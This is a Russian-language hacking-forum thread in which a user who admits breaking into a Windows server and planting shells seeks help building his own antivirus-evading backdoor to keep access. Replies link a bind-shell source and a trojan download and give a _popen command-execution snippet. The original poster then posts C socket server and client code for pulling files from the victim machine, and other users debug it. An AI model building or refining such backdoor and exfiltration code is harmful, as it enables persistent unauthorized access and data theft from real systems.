Первый опыт с бэкдором

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Dobby007, 6 Dec 2008.

  1. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Такая история. Как-то один сайт под виндой сломал, загрузил, значится, туда шелы радмины и т.д. и т.п. Скопировал инфу, поугарал над админом, ну вообщем все как полагается =) Ну а на следующий день этот самый админ все это хозяйство и прикрыл. Ну в этот самый момент я и подумал, что надо иметь какое-то дополнительное средство перестраховки. Пользоваться чужими бэкдорами в лом и как-то не в кайф =), да и антивирями палятся моментом.

    Перехожу к сути. Нужно на сишке написать программку такого типа. Все бы ничего, но вот проблема: как сделать че-то типа виндовой командной строки, т.е. задаешь, например, команду dir C: и получаешь в качестве ответа список файлов на диске С или то же самое с ipconfig и т.п. Про скрытность проги спрашивать пока не буду. Попробую сам че-нить "помыслить" =)

    Вообщем помогите кто чем может...
    З.Ы. Работаю в 2007 билдере (codegear который ака бывший борланд)
     
    #1 Dobby007, 6 Dec 2008
    Last edited: 6 Dec 2008
  2. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    Ну по идее выложи свои наработки, чтоб разговор был более предметным, разве не так?
     
  3. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Да пока ниче не сделал. Чисто тереотически пока просто думаю как это можно реализовать. План то надо составить куда рыть.
    И в-принципе че здесь можно выкладывать то? Исходники общения с каким-то сервером?....

    Мне бы примерчик какой-нибудь по этой теме. А именно: эмуляция командной строки. Чтоб дальше предметный разговор вести...
     
  4. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    Win32 C++ Bind Shell:
    https://www.rootkit.com/newsread_print.php?newsid=96
     
  5. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Не совсем конечно по моей теме. Но все равно спасибо. Как я понял из исходников: происходит вызов cmd, а затем выполнение нашей программы под именем этой cmd. Может че-то не так понял? Поправьте если че...
    Нашел простое решение проблемы:
    Code:
    #include <stdlib.h>
    system("ipconfig >>123.txt");
    Тупо конечно, но работает :)
     
  6. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Работать-то оно будет. Только вот все cmd-команды в код не засунешь :)
     
  7. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Как?.. А зачем засовывать то их?.. На стороне клиента подключаешься к серверу (т.е. к этой программе) набираешь в каком-нибудь скромном терминальчике команду, например, dir C:, нажимаешь энтер =), сервер получает данную команду, добавляет к ней:
    Code:
    >>answer.txt
    потом читает этот файл, например, через секунды две и отправляет назад клиенту. Вот и вся логика :D
    Конечно не все команды так работать будут, но процентов 90 должно по-любому, имхо.
     
  8. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Dobby007, ну смотри...твой процесс работы(со стороны сервера):
    а можно ведь так:
    Лишняя работа получается :)
     
  9. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Ну вот я и не вижу пути, чтоб эту лишнюю работу выкинуть. Просто этой темой раньше не занимался, недавно только начал, вот и ищу всевозможные решения... Если есть такой вариант, подтолкни тогда в нужное направление :)
     
    #9 Dobby007, 8 Dec 2008
    Last edited: 8 Dec 2008
  10. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Так ведь дали ссылку =)
    Че там выкидывать-то?)) Ты просто вместо функций записи и чтения файла используй send() или sendto() :)
     
  11. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Никакие тебе "дополнительные средства перестраховки" не помогут, если ты будешь рвать волосы на жопе и кричать "я тебя похекал11"

    Мой кривой и не дописанный клиент-серверный трой, клиент не сделан, сервер на 60% доделан, писал примерно с год назад .. за кривость не посылайте лучи поноса, это сырой и заброшенный проэкт)
    скачать: http://rapidshare.com/files/171421315/bsAdmin.rar.html
    зеркало: http://rghost.ru/64854
    зеркало: http://d.lsass.us/271

    PS: Делфи
     
  12. izlesa

    izlesa Elder - Старейшина

    Joined:
    3 Jan 2008
    Messages:
    112
    Likes Received:
    32
    Reputations:
    5
    _popen
    Creates a pipe and executes a command.

    MSDN!

    Code:
    
    #include <stdio.h>
    
    int main(int argc, char *argv[])
    {
    	char cBuffer[128];
    	FILE *pipe;
    	
    	pipe = _popen("ipconfig /all", "rt");
    	if(pipe == NULL) exit(1);
    	
    	while(fgets(cBuffer, 128, pipe));
    		printf(cBuffer);
    	
    	_pclose(pipe);
    	return 0;	
    	
    }
    
    
    Читай чаще MSDN ^____^ хотя в целом тебя это не спасёт. Круг системных утилит в Win ограничен. Для того же слития-залития файлов нужно будет модуль писать. Хотя если поднять у себя ftp то можно извратится, хотя лучше самому писать, много нового узнаешь ^____^
     
    1 person likes this.
  13. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Здесь с тобой абсолютно согласен =) Это так... первые шаги. Само собой не самоцель - постебаться :D

    Ну здесь есть два варианта. Либо писать с нуля, либо использовать уже готовую либу/компонент для обычного обмена данными по портам, а дальше под себя формат "этих даных" сделать... Допустим если пришло PIC <picture_data>, то значит скриншот экрана и т.д. и т.п. :)
    З.Ы. Про МСДН учту =)
     
  14. izlesa

    izlesa Elder - Старейшина

    Joined:
    3 Jan 2008
    Messages:
    112
    Likes Received:
    32
    Reputations:
    5
    угу, создаешь свой протокол, описываешь его и реализуешь.
     
  15. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    и опять я =))))

    Народ...
    Вроде после долгих мучений и изучением (практически с нуля) как работать с сокетами на голом си, основную часть бэкдора сделал.
    Вот-с значит... Надо теперь организовать отправку файла. Ну с текстовыми файлами проблем вообще нет никаких: накалякал код, что программка отправляла и принимала файлы ЛЮБЫХ размеров. А вот с бинарными... Т.е. например *.exe или *.jpg... не выходит че-то, проще говоря. А если точнее, не получается прочитать его. Читается какая-та определенная часть и фзё.
    Вот код:
    СЕРВЕР:
    Code:
    int sendfile(int ptr, char filename[255])
    	{
    	char temp[300]="";
    	SOCKET client=(SOCKET)ptr;
    	char filebuff[1024];
    	char sendbuff[2048];
    	int err,terr,i,size=0;
    	FILE *fp,*fpd; //fpd специального для отладки сделал, чтоб понять в каком месте глюк возникает
    	if(FileExists(filename)==True){
    	fp=fopen(filename,"rb");
    	fpd=fopen("filed","wb");
    	int t=0;
    	printf("\nSending file started:");
    	ZeroMemory (&filebuff, sizeof (filebuff));
    	ZeroMemory (&sendbuff, sizeof (sendbuff));
    	while(1)
    		{
    		err=fread(filebuff,1,768,fp);
    		terr=err;
    		sprintf(temp,"%d",err+4);  //сюда записываю размер отправляемого пакета
    		if(temp[1]==NULL)temp[1]='-';
    		if(temp[2]==NULL)temp[2]='-';
    		if(temp[3]==NULL)temp[3]='-';
    		sprintf(sendbuff,"%s%s",temp,filebuff); //sendbuff - как вы уже поняли, массив (буфер) хранящий ту или иную часть содержимого файла
    		t++;
    		fputs(filebuff,fpd);
    		if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
    		return -1;
    		printf("\nPacket #%d>> %d bytes read, %d of %d bytes send",t,terr,size,strlen(sendbuff));
    		ZeroMemory (&filebuff, sizeof (filebuff));
    		ZeroMemory (&sendbuff, sizeof (sendbuff));
    		if (err<768) break; //чтение и отправка файла завершена
    		}
    
    		fclose(fp);  fclose(fpd);
    		printf("\nSending file completed successfully...");
    		return 1;
    		}else{ //если файла не существует
    		sprintf(temp,"ERROR_SENDING_FILE_TO_CLIENTFile does not exist: %s",filename);
    		printf("\n%s",temp);
    		send(client,temp,sizeof(temp),0);
    
    	}
    }
    
    КЛИЕНТ (он уже с гуи):
    Code:
    int ret=0;char temp[20 * 1024]="";int i=0,j=0,t=0,k=0;
    FILE *fp;char buff_x[20 * 1024];
    MkDir("RcvdFiles");
    sprintf(temp,"RcvdFiles\\%s",ExtractFilename(Edit4->Text.c_str()));  //путь для сохраняемого/принимаемого файла
    unlink(temp);
    		fp=fopen(temp,"wb");
    		ret=512; t=0;
    		while(ret>0)
    		{
    		strcpy(szRecvBuff,"");
    		strcpy(temp,"");
    		t++;
    		ZeroMemory (&buff_x, sizeof (buff_x));
    		ZeroMemory (&szRecvBuff, sizeof (szRecvBuff));
    		ret = recv(s, szRecvBuff, 772, 0);
    		if (ret != SOCKET_ERROR){
    		if(t==1 && strstr(szRecvBuff,"ERROR_SENDING_FILE_TO_CLIENT")){return 2;}  //ошибка передачи файла
    		strncpy(temp,szRecvBuff,4);   //четыре байта содержащие размер пакета
    		k=Str2Int(temp);  //переводит строку в число
    			sprintf(temp,"Пакет #%d>> Получено: %d из %d байтов. Записано: %d байтов",t,ret,k,strlen(szRecvBuff)-4);
    			info(temp);  //выводит строку в MEMO
    			fputs(&szRecvBuff[4],fp); 
    			if(k<772){break;}
    		}else{
    		fputs("\nSOCKET ERROR",fp);return -1;
    		}
    		}
    		fclose(fp);
    
       return 1;
    Если вкратце... смысл кода такой: клиент вводит адрес до файла на сервере, тот получает этот путь, смотрит существует ли файл, и выдает "результат" обработки запроса
    Скорее всего, че-то я туплю и наверное решение какое-то простое (как всегда по-жизни :) ) должно быть. Но блин парюсь уже два дня, не могу понять в чем дело.
    Вообщем, помогите кто чем может =))
     
    #15 Dobby007, 30 Dec 2008
    Last edited: 30 Dec 2008
  16. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    полностью код не просматривал, но что бросилось в глаза:
    Code:
    strncpy(temp,szRecvBuff,4);   //четыре байта содержащие размер пакета
    
    в переменной содержащей размер будут содержаться нули значит strncpy не будет работать правильно
    И еще - функция recv может еще возвратить 0 если соединение корректно завершено удаленным узлом. Не мешало бы это обрабатывать.
    вообще tcp есть потоковый протокол, то есть твой алгоритм не должен зависеть от того, пришли ли данные одним пакетом или несколькими. А у тебя кажется зависит...
    для пересылки файлов есть замечательная функция TransmitFile
    лучше юзай ее
     
  17. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Ну у меня максимальный размер пакета - 772. Если пакет занимает 72 байта, то остальные два символа переменной temp станут равными "-". Также и в остальных случаях. "-" будет ставится вместо, так сказать "недостающих цифр" Так что с этим все норм должно быть.

    Так мне то это зачем? У меня как только заканчивается передача файла (не важно - успешно или с ошибкой), цикл прекращается...
    У меня количество пакетов принятых клиентом и посланных сервером равны. И еще я же говорил, что текстовые файлы он моментом передает (без каких-либо ошибок), а с бинарными только че-то тупит.
    Про ТрансмитФайл слышал, только вот где ее искать? В winsock2.h ее нету.

    P.s. Спасибо кстати за оперативный ответ.
     
  18. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    по поводу TransmitFile
    http://msdn.microsoft.com/en-us/library/ms740565(VS.85).aspx
    Header: Mswsock.h
    Library: Mswsock.lib
    DLL: Mswsock.dll

    в случае если клиент и сервер будут на разных компьютерах не факт что одному вызову send будет соответствовать один вызов recv. То есть подобные ошибки будут проявляться потом. И поэтому писать надо правильно.

    и еще - ты записываешь в файл с помощью fputs. Насколько я помню она пишет ANSIZ-строку, то есть если в твоем буфере где-то есть нулевой байт то все что после него записано не будет. Если файл бинарный то так делать нельзя, он будет сильно искажен
     
    #18 bons, 30 Dec 2008
    Last edited: 30 Dec 2008
  19. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Ок. Завтра посмотрим...
    Ну а выход - блокирующий сокет, я так понимаю?
    Да. Согласен. Но у меня такое ощущение, что он и отправляет не то... Ну ладно... Завтра с утречка посмотрю, может че и получится :D ... В любом случае спасибо...
     
  20. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    неправильно понимаешь

    да, не то:

    Code:
    sprintf(sendbuff,"%s%s",temp,filebuff);
    ...
    if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
    return -1;
    ты везде обращаешься с этим буфером как со строкой
     
    #20 bons, 30 Dec 2008
    Last edited: 30 Dec 2008